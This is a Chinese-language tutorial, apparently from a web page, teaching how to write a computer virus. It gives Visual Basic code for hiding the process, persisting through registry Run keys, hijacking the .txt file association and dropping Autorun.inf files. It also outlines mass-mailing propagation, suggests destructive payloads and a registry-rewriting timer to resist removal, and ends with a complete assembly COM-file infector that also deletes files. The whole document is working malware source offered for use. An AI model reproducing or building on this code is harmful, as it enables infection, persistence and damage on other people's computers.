对于接触计算机的朋友们来说,病毒已经不在是一个陌生的东西。病毒一般都具有传播、隐藏、破坏等能力。所以自从第一个病毒问世以来,它便被人们视为一种神秘的东西。但是,我们要知道。病毒也是程序,也是由人写出来的。所以,病毒并不是什么高不可攀的东西。现在,让我们了解一下VB制作病毒的原理。
首先,病毒是有隐藏性的。如何来实现病毒的隐藏是很多年来的热点话题。我们先不接触什么线程插入技术。我们要实行自我隐藏,就要用到API函数。其代码如下:
Public Declare Function GetCurrentProcessid Lib "kernel32" () As Long
Public Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long)
Public Const RSP_SIMPLE_SERVICE = 1
Public Const RSP_UNREGISTER_SERVICE = 0
Public Sub MakeMeService()
Dim pid As Long
Dim resery As Long
pid = GetCurrentProcessid()
regserv = RegisterServiceProcess(pid, RSP_SIMPLE_SERVICE)
End Sub
这样就实现了自我隐藏。还有别的什么App.Title = ""和App.TaskVisible = False都可以用于VB病毒的隐藏。
病毒光会隐藏还不行,还要有常驻内存的能力。说通俗点,计算机关闭病毒也就跟着死去,而计算机重启,病毒也要跟这复活。所以,我们接下来的任务就是:实现病毒的开机自启。
了解病毒的朋友会知道,病毒一般是利用在注册表中插入相应键值来实现开机自启的。所以,我们就要利用编程来实现着一功能。读写注册表要用到API函数,代码:
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpvalueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
上述是API声明。病毒的开机自启就是在RUN下建立一个启动项,代码:
Dim hKey As Long
Dim cc
Let cc = Len("病毒的绝对路径")
RegCreateKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Runservices", hKey
RegSetValueEx hKey, "键名", 0, REG_SZ, ByVal "病毒的绝对路径", cc
RegCloseKey hKey
以上代码执行后会在注册表中加入一个病毒的启动项。
光利用开机自启来长驻内存也太容易被杀了。所以,我们还要想尽一切办法来让病毒启动。这里介绍的2种办法。
第一种。修改文本文件的关联。其代码如下:
API声明:
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValue Lib "advapi32.dll" Alias "RegSetValueA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Const HKEY_CLASSES_ROOT = &H80000000
Const REG_SZ = 1
实现代码:
Dim sKeyName As String '存储键名
Dim sKeyValue As String '存储键值
Dim MyReturn As Long '存储返回值信息
Dim keyhandle As Long
sKeyName = "Test"
sKeyValue = "Test Application"
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&, "", REG_SZ, sKeyValue, 0&)
MsgBox MyReturn&
sKeyName = ".txt" '要建立关联的文件后缀名
sKeyValue = "Test"
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&, "", REG_SZ, sKeyValue, 0&)
sKeyName = "Test"
sKeyValue = "D:\\病毒.exe %1" '自己程序的位置和名称
MyReturn& = RegCreateKey&(HKEY_CLASSES_ROOT, sKeyName, keyhandle&)
MyReturn& = RegSetValue&(keyhandle&, "shell\open\command", REG_SZ, sKeyValue, MAX_PATH)
End Sub
以上是利用修改TXT文件关联来实现病毒启动的。
第二种,利用Autorun.inf
光盘就是利用这个来自动播放的,所以我就不废话了。
实现代码:
If Dir("F:\") <> "" Then Let a = App.Path + "\" + App.EXEName + ".exe"
FileCopy a, "C:\病毒.exe"
Open "Autorun.inf" For Output As #1
Print #1, "[autorun]"
Print #1, "OPEN=病毒.exe"
Close #1
这样就实现了双击C盘启动病毒的作用。
下面说一下病毒的传播,病毒的传播可以说是八仙过海。主要的传播方式就是传播,远程溢出等。
远程溢出这里不做详解。第一是我不太熟练,只会用,不会说。第二是要讲清楚很麻烦。所以,我讲一下传播。
首先,建立一个WINSOCKE。然后利用编程来实现。这里只说思路。
ConnectToServer Server, Winsock1 ‘这是向服务器建立连接
SendMail FromAddress, ToAddress, Subject, Body, Winsock1, Attach ‘发送邮件
FromAddress 发件人地址
ToAddress 收件人地址
Subject 邮件标题
Body 邮件内容
Attach 附件地址
利用这样的原理来发,可以达到传播自己的目的。
还有一种就是U盘/A盘传播,原理上面已经说过。利用Autorun.inf文件,这里就不废话了。
说了这么多,还剩最后一点,那就是破坏性。这个就不详细阐述。什么自动关机,无限增殖。大家自己发挥想象,这不是很难的事。
最后总结,一个什么样的病毒,它必须生活在特定的操作系统下。所以,病毒做出来后,不一定能在什么操作系统下都能用。还有一点,病毒必须能自己保护自己。这里推荐使用TIMER。利用这个部件
来不断的写注册表。这样,很难删掉病毒的启
动键值。还要保护自身的增殖文件。比如:
Let a = App.Path + "\" + App.EXEName + ".exe"
If Dir("C:\Program Files\病毒.exe") <> "" Then
Else: FileCopy a, "C:\Program Files\病毒.exe"
功能:感染当前文件夹的test文件
; 并删除当前文件夹的文件
; 显示预设的字符串
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart ;病毒的代码开始处
vstart:
POP SI ;得到当前地址
MOV BP,SI ;保存当前地址
PUSH SI
MOV AH,9
ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串
MOV DX,SI
INT 21h
POP SI
ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节
MOV DI,100h ;目的地址
MOV AX,DS:[SI] ;开始复制
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP ;恢复地址值
MOV DX,OFFSET delname-OFFSET vstart
ADD DX,SI
MOV AH,41h
INT 21h
MOV DX,OFFSET filename-OFFSET vstart ;得到文件名
ADD DX,SI
MOV AL,02
MOV AH,3dh ;写文件
INT 21h
JC error
MOV BX,AX ;文件句柄
MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节
ADD DX,SI
MOV CX,4
MOV AH,3fh
INT 21h
MOV AX,4202h ;到文件尾
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒
MOV DX,SI
MOV vsizes,OFFSET vends-OFFSET mainstart
MOV CX,vsizes
MOV AH,40h
INT 21h
MOV SI,BP ;定位到文件头
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h ;将新的文件头写入
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
MOV AH,3eh ;关闭文件
INT 21h
error:
简单好玩的编程代码复制MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:
RET
DB 3 DUP (?)
vsizes DW 0
new4byte DB ‘M‘,0e9h,0,0
filename DB "test",0
delname DB "",0
message DB "He he he he!"
DB 0dh,0ah,"$"
vends:
start:
MOV AX,CSEG
MOV DS,AX
MOV SS,AX
CALL main
MOV AX,4c00h
INT 21h
CSEG ENDS
END start
以上就是一个简单的可以传染COM文件的程序代码, 也是想当初我所做的具有传染性质的第一个程序。如何???不难吧。
附:
COM文件执行时将COM文件内所的所有内容COPY到内存, 起始地址是100,然后进行执行
没有任何有关节啦、段啦这些属性,所以COM文件病毒是最简单最简单的病毒。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。